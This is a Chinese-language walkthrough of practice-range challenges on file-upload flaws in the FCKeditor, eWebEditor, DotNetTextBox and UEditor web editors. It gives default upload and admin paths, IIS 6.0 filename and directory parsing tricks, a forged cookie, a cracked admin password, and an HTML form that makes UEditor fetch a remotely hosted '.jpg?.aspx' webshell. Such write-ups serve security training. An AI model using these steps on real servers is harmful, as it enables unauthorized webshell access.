一般的富文本编辑器都是使用一般处理程序上传图片或者文件的,那么黑客就可以利用开发者的疏忽(没有判断权限),直接通过伪造表单上传经过他更改过的木马文件。

FCKeditor 编辑器文件上传漏洞

基础知识

FCKeditor是一款非常优秀的HTML在线编辑器,功能也可以定制。也支持多种浏览器,遵循LGPL版权。FCKeditor是一款文字处理客户端应用,使你在web上可以使用类似微软Word 的桌面文本编辑器的许多强大功能。现已改名为CKEditor

FCKeditor 编辑器页

1
2
3
4
5
6
/FCKeditor/_samples/default.html
/FCKeditor/_samples/default.html
/FCKeditor/_samples/asp/sample01.asp
/FCKeditor/_samples/asp/sample02.asp
/FCKeditor/_samples/asp/sample03.asp
/FCKeditor/_samples/asp/sample04.asp

FCKeditor 常用文件上传目录

1
2
3
4
5
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector

FCKeditor 查看编辑器版本

1
2
/FCKeditor/_whatsnew.html
/FCKeditor/editor/dialog/fck_about.html

靶场测试

靶场地址:墨者学院-编辑器漏洞分析溯源(第1题)

服务器版本:IIS 6.0(可通过Goby扫描得到)

1、判断FCKeditor编辑器版本

访问:http://xxx/FCKeditor/_whatsnew.html

image-20220123124915816

当前FCKeditor的版本为2.6.4。

2、判断FCKeditor的上传界面 

可以使用扫描器进行枚举,这里我就直接访问常见目录

image-20220123125359821

这两个目录都是可以上传文件的:

/FCKeditor/editor/filemanager/connectors/test.html

/FCKeditor/editor/filemanager/connectors/uploadtest.html

3、上传文件

当我们打算上传ASP webshell时,弹出警告为无效文件。

image-20220123125941925

那么既然该靶场的服务器为IIS 6.0,我们就可以利用解析漏洞进行文件上传。

IIS 6.0 文件名解析漏洞上传

Burp抓包,将filename的值改为shell.asp;jpg

image-20220123130924640

提示文件上传没有错误。

image-20220123131013541

点击Get Folders and Files,可以看到文件上传到的目录与该目录下的文件,其中shell.asp;jpg就是我们刚刚上传上去的webshell。

image-20220123131228195

​ 使用蚁剑连接成功

image-20220123131610247

IIS 6.0 目录名解析漏洞上传

使用编辑器创建一个以.asp结尾的文件夹。

image-20220123131854273

创建完文件夹后点击Get Folders and Files查看到刚才创建的文件夹被改了名字,不是名字为my.asp的文件夹,而是my_asp,这样就无法利用iis6.0目录解析漏洞。

经过测试,在上方的当前文件夹改为/my.asp(此时该文件夹还不存在),可以发现不存在这个文件夹。

image-20220123132423956

但是正是在这个不存在的my.asp文件夹下再随便创建一个文件夹后,会发现这个my.asp的文件夹就存在了。

image-20220123132708243

再次查看my.asp文件夹下的内容,发现多出了刚才创建的test文件夹,并且名为my.asp的文件夹也生效了。

image-20220123132829465

接下来就可以在my.asp的文件夹下上传图片马进行获取webshell了。

image-20220123133121799

使用蚁剑成功连接。

image-20220123133242624

eWebEditor 编辑器文件上传漏洞

eWebEditor是一个基于浏览器的在线HTML编辑器,作为国内主要的编辑器之一。常被集成在CMS中或以插件的形式安装在WEB服务中。由于使用时间较长、版本较多,在早期的版本中存在较多的漏洞。

基础知识

eWebEditor 默认后台地址

1
2
3
4
/admin_login.asp
/admin/login.aspx
/ewebeditor/admin_login.asp
/WebEdior/admin/login.aspx

建议最好检测admin_style.asp文件是否可以直接访问

eWebEditor 默认数据库路径

1
2
3
/db/ewebeditor.mdb
/db/db.mdb
/db/%23ewebeditor.mdb

靶场测试

靶场地址:墨者学院-编辑器漏洞分析溯源(第2题)

服务器版本:IIS 6.0(可通过Goby扫描得到)

1、通过扫描器进行目录文件枚举

扫描结果如下:

image-20220123141459811

2、获得管理员账号密码

下载ewebeditor.md文件,使用微软的Access打开,打开表eWebEditor_System,可以得到用户名和密码的md5值。

image-20220123141653209

使用somd5对md5值进行反向查询,最终得到的账号和密码的结果:

1
2
账号:admin
密码:8583213p

3、进入后台,添加编辑器样式

登录eWebEditor后台

image-20220123142353548

点击“样式管理”,“新增样式”

image-20220123142820717

然后如下设置:

image-20220123143655725

点击“设置此样式下的工具栏”

image-20220123143752146

点击“新增工具栏”,“按钮设置”

image-20220123144046521

添加“插入其他文件”按钮。

image-20220123145638274

再在“样式管理”中选择我们新增的样式test,点击“预览”

image-20220123150501110

4、上传文件

注意:这里需要使用老版本的IE浏览器才可上传文件,新版本的IE浏览器可以打开F12在仿真中的浏览器配置文件中选择“企业”:

image-20220123150658328

当要选择上传ASP WebShell时,警告不是一个有效文件,不过是可以上传cdx和cer文件的

image-20220123150903368

那么更改文件的扩展名为cer,再次上传,在F12中就能看到上传文件的地址

image-20220123151133581

使用蚁剑成功连接

image-20220123151323364

DotNetTextBox 编辑器文件上传漏洞

基础知识

DotNetTextBox是一款计算机在线编辑器,完全支持VS2005设计环境。在ASP.net环境中使用网上对该编辑器有关的资料较少。

DotNetTextBox 默认上传路径

1
2
3
4
/system_dntb/UploadFile.aspx
/system_dntb/UploadImg.aspx
/system_dntb/UploadMedia.aspx
/system_dntb/UploadTemplate.aspx

DotNetTextBox 上传功能设置

1
/system_dntb/Advanced.aspx

靶场测试

靶场地址:墨者学院-编辑器漏洞分析溯源(第3题)

服务器版本:IIS 6.0(可通过Goby扫描得到)

1、更改上传类型

访问/system_dntb/Advanced.aspx,可上传的文件类型中没有asp文件,若不利用脚本漏洞上传,我们需要添加asp类型上传文件。

image-20220123172057944

文本框和按钮是灰色的,是因为它们的disabled属性为disabled,在审查源代码时删除即可。

image-20220123172345273

再点击更新按钮,即可。

image-20220123172510336

2、上传文件

直接访问时无法上传文件的,就算把按钮的disabled属性删除也无法上传。

image-20220123154103342

刷新页面,使用Burp抓包,修改Cookie值为UserType=0; IsEdition=0; Info=1; uploadFolder=../system_dntb/Upload/;

image-20220123175441773

接着就可以上传文件了

image-20220123175804253

成功连接蚁剑

image-20220123180008926

UEditor 编辑器文件上传漏洞

基础知识

UEditor 是由百度「FEX前端研发团队」开发的所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码。UEditor目前已经不对其进行后续开发和更新,但还是有许多开发者对其进行二次开发。

官网地址:http://fex.baidu.com/ueditor/

控制器文件

1
/net/controller.ashx

控制器中存在多个动作的调用,包含了uploadimageuploadscrawluploadvideouploadfilecatchimage等等。

漏洞描述

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

该漏洞的具体分析过程可参考:https://www.freebuf.com/vuls/181814.html

靶场测试

  • 操作系统:Windows 2008R2
  • Web服务器:IIS 7.5
  • 编辑器版本:ueditor1_4_3_3-utf8-net

本地构造一个html,页面用于上传使用

1
2
3
4
5
6
7
<form action="http://hackrock.com:8227/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">

<p>shell addr: <input type="text" name="source[]" /></p >

<input type="submit" value="Submit" />

</form>

shell addr 处填写服务器上图片马地址(这里需要攻击者提供一个外网的域名地址)。构造成以下格式,绕过上传使其解析为 aspx:

http://xxxx/shell.jpg?.aspx

image-20220123195326249

上传成功后,将会得到WebShell的路径。

image-20220123200010661

使用蚁剑成功连接。

image-20220123200052666


参考资料